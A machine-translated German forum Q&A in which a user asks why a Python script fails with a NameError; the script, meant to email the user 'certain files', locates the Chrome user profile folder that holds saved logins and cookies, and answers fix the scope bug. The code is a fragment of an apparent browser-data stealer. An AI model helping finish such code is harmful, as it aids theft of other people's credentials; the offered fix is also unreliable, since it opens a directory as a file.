2017-10-04 1 views
-2

Ich habe vor kurzem versucht, ein Programm zu codieren schickt mir eine E-Mail mit bestimmten Dateien, aber ich halte diesen Fehler:kann nicht fähig Variable (Python) zu verwenden

"Traceback (most recent call last): 
    File "C:\Users\DedHex\Desktop\j.py", line 29, in <module> 
    attachment = open(PathName, "rb") 
NameError: name 'PathName' is not defined" 

Aber PathName ist ... so dass ich wirklich brauche Hilfe dabei, da ich eine Weile gebraucht habe, um zu programmieren.

Mein Code:

filename = "bob" 
def getpath(): 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
attachment = open(PathName, "rb") 

Antwort

0

PathName nur in getpath() definiert ist, und Sie versuchen, es zu benutzen, außerhalb von getpath() ‚s Rahmen.

0

Versuchen Sie, die PathName globale

filename = "bob" 
def getpath(): 
    global PathName 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
attachment = open(PathName, "rb") 
0

Da PathName innerhalb getpath() definiert macht, müssen Sie einen Weg, es es außerhalb zuzugreifen.
return PathName können Sie zugreifen, was in PathName außerhalb von getpath() über PathName = getpath() gespeichert ist.

sollte der folgende Code arbeiten:

filename = "bob" 
def getpath(): 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
    return PathName 
PathName = getpath() 
attachment = open(PathName, "rb") 

Wenn Sie Fragen haben, warum das funktioniert, würde ich gerne mehr ins Detail gehen!

Verwandte Themen